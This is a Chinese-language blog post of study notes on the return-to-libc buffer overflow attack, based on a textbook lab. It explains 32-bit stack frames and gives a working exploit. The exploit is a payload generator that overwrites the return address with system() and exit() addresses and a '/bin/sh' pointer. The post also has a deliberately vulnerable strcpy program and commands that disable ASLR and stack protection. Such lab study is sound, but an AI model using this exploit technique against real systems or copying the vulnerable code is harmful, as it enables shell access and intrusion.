Return to Libc Attack

前言

來源:《Computer Security》A Hands-on Approach — Wenliang Du

return2libc學習筆記

r2libc技術是一種緩衝區溢出利用技術,主要用於克服常規緩衝區溢出漏洞利用技術中面臨的no stack executable限制(所以後續實驗還是需要關閉系統的ASLR,以及堆棧保護),比如PaX和ExecShield安全策略。該技術主要是通過覆蓋棧幀中保存的函數返回地址(eip),讓其定位到libc庫中的某個庫函數(如,system等),而不是直接定位到shellcode。然後通過在棧中精心構造該庫函數的參數,以便達到類似於執行shellcode的目的。

上面這段話,來自烏雲備份文章。

這章的背景要求:程序在內存中的佈局 、gdb調試之棧幀信息 、緩衝區溢出攻擊


摘要和總結

在上一章中,我們利用緩衝區漏洞,將惡意代碼shellcode附加在緩衝區的後面。通過覆蓋返回地址,跳轉到惡意代碼,執行棧中的shellcode代碼。但是,現在的操作系統已經作出防禦,禁止棧中的數據作爲代碼執行。但是這個並沒有關係,我們可以不在棧中執行程序,我們可以通過覆蓋返回地址,執行已經在內存中存在的程序,比如說libc中的system函數。我們希望跳轉之後,可以執行system("/bin/sh")。這個做法的難點是,在哪裏放置"/bin/sh"的地址,作爲system的參數。

這次實驗環境如下(IA-32:Intel Architecture, 32-bit):

幾個概念:x86、x86-64和IA-32、IA-64 --》我不太明白,我知道它是32位的。

Linux VM 4.8.0-36-generic #36~16.04.1-Ubuntu SMP Sun Feb 5 09:39:41 UTC 2017 i686 i686 i686 GNU/Linux

現在我們的環境,我不知道如何實現return-to-libc的攻擊。因爲參數的傳遞通過寄存器。這裏介紹的參數傳遞還是通過壓棧的方式。知識點有些陳舊。我們不妨,將它作爲一次理解程序在內存中執行過程分析的體驗。

雖然早已是64位,但是當年我還是學習王爽的那本彙編(16位),入門彙編語言,也是唯一一次學習彙編。

關於libc的概念可以參考:libc、glib、glibc簡介

(ax --> eax —> rax)



函數的進入離開過程

詳細的調試過程,可以看前言中的鏈接,“gdb調試之棧棧信息”。

這一章,在上一章的基礎上,並沒有難度。由於實在32位環境中實驗,我們調試32位中的程序顯示。

我這裏稍微贅述下調用過程。Tips:沒有給出調用着的準備工作。想看的自己調試。Not difficult.

/**
 * 使用gdb調試該程序,展示內存佈局
*/
#include <stdio.h>

void func(int a,int b){
	int x,y;
	x = a + b;
	y = a - b;
}

int main(void){
	int x=0;
	int y=0;
	func(4,3);
	return 0;
}

函數,還是最簡單的函數。

在這裏插入圖片描述


進入函數

我們可以看到它三步準備:

push ebp ;保存上一個棧棧
mov ebp,esp ;設置當前棧幀
sub esp,$N ;給local變量開闢部分內存

RA:指return address。

在這裏插入圖片描述


離開函數

leavel
ret

;在32位彙編下相當於
mov esp,ebp;
pop ebp
ret

在這裏插入圖片描述


Return to Libc Attack

我們需要做的是,用system的地址覆蓋返回地址,在合適的位置填入“/bin/sh"字符串所在內存地址,這個合適的位置是system的參數地址。(這些地址具體位置,我們在下一節敘述,這裏暫時默認爲已知。我們先從方法上看如何實現。)

我們可以看到上面取出參數的位置是[ebp+8]。我當時站在ebp的角度來思考,結果半天沒繞出來。

看了書後面的章節,從esp的角度來看,就相對而言比較容易了。

在這裏插入圖片描述

  1. 首先是離開函數,執行的是離開函數的操作。所以我們用system的函數地址覆蓋return address = ebp+4。此時esp指向的位置如(b)圖所示。

  2. 接着是進入一個函數,執行的是進入函數的操作。

    • push ebp,所以函數地址被ebp的內容覆蓋; esp+4;
    • mov ebp,esp ,所以ebp的位置如圖©所示;ebp+8是我們的參數位置,位置如圓圈1所示這個位置等於原來的ebp + 12
    • 圓圈2在現在ebp+4位置,是system的返回地址,原來ebp+8的位置可以用來設置exit。雖然我認爲這個沒什麼用。
    • sub esp,$N  ;給local變量開闢部分內存
  3. 總結下緩衝區這些信息的覆蓋位置

    • system的函數地址覆蓋return address = ebp+4
    • 參數位置等於ebp + 12
    • ebp+8的位置,可以用exit函數的內存位置填充,作爲返回地址


具體操作

我們關閉地址隨機化,棧保護,開啓棧不可執行。


獲取system、exit地址

這些內容在動態庫中,會映射到當前的進程地址空間中。至於如何映射的,我不知道。

在這裏插入圖片描述

順便我們再看看system是如何獲取參數,或許和書上內容不一樣。

在這裏插入圖片描述

我推測參數,通過[esp+4]取到,也就是我們的參數填充位置,所以可以正常運行。

這裏並沒有push ebp操作,在<do_system>中進行操作。比較長,我僅僅截圖出部分。

在這裏插入圖片描述


獲取參數地址

我們通過export MYSHELL="/bin/sh",給添加環境變量。這個變量會傳遞給子進程的環境變量中。

我們在子進程中查看這個變量的地址。注意的是,程序名長度會影響"/bin/sh"的位置。所以我們可以用攻擊程序的程序名來獲取下變量地址。

/**
 * 查看環境變量的地址
 * break main | run | x /100s *((char **)environ)
*/

#include <stdio.h>
#include <stdlib.h>

int main(void){
    char *shell = getenv("MYSHELL");

    if(shell){
        printf("now env the char point size : %u\n",sizeof(char *));

        printf("MYSHELL IS %s\n",shell);

        //64位,不能用%x了
        printf("The address of MYSHELL 0x%lx\n", (unsigned long int)shell);
    }

    return 0;
}

生成badfile

/**
 * 用於生成buffer填充內容
 * stack.c中的buffer爲100 char
 * bufer和緩衝區之間的距離:0x6c
 * system的地址是: 0xb7da4da0  --> 0x6c+4
 * exit的地址是:   0xb7d989d0  --> 0x6c+8
 * MYSHELL的地址是:0xbffffdd8  --> 0x6c+12
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(void){
    char buffer[200];

    /*填充的內容沒有\0就好,我這裏填充nop,雖然不執行*/
    memset(buffer,0x90,sizeof(buffer));

    *(long *)(buffer+0x6c+4) = 0xb7da4da0;
    *(long *)(buffer+0x6c+8) = 0xb7d989d0;
    *(long *)(buffer+0x6c+12) = 0xbffffdd8;

    FILE *badfile = fopen("badfile","w");
    if(!badfile){
        printf("cannt open badfile");
        exit(0);
    }

    fwrite(buffer,sizeof(char),sizeof(buffer),badfile);
    fclose(badfile);
    return 0;
}

執行Return to Libc Attack

/**
 * 用來演示緩衝區溢出攻擊,return-to-libc:stack.c
 * 我們關閉地址隨機化,棧保護,開啓棧不可執行
 * sudo sysctl -w kernel.randomize_va_space=0
 * gcc -g -fno-stack-protector -z noexecstack -o stack stack.c
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void func(char *src){
    char buffer[100]={0};

    strcpy(buffer,src);
}


int main(void){

    char src[400]={0};

    FILE *badfile = fopen("badfile","r");
    if (!badfile){
        printf("no open badfile");
        return 0;
    }

    fread(src,sizeof(char),300,badfile);

    func(src);

    printf("return properly\n");
    return 0;    
}

執行成功如下所示:

在這裏插入圖片描述


參考文章

幾個概念:x86、x86-64和IA-32、IA-64

libc、glib、glibc簡介

return2libc學習筆記



做難事必有所得。

在這裏插入圖片描述
視頻地址:https://www.bilibili.com/bangumi/play/ss28973?t=3525

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章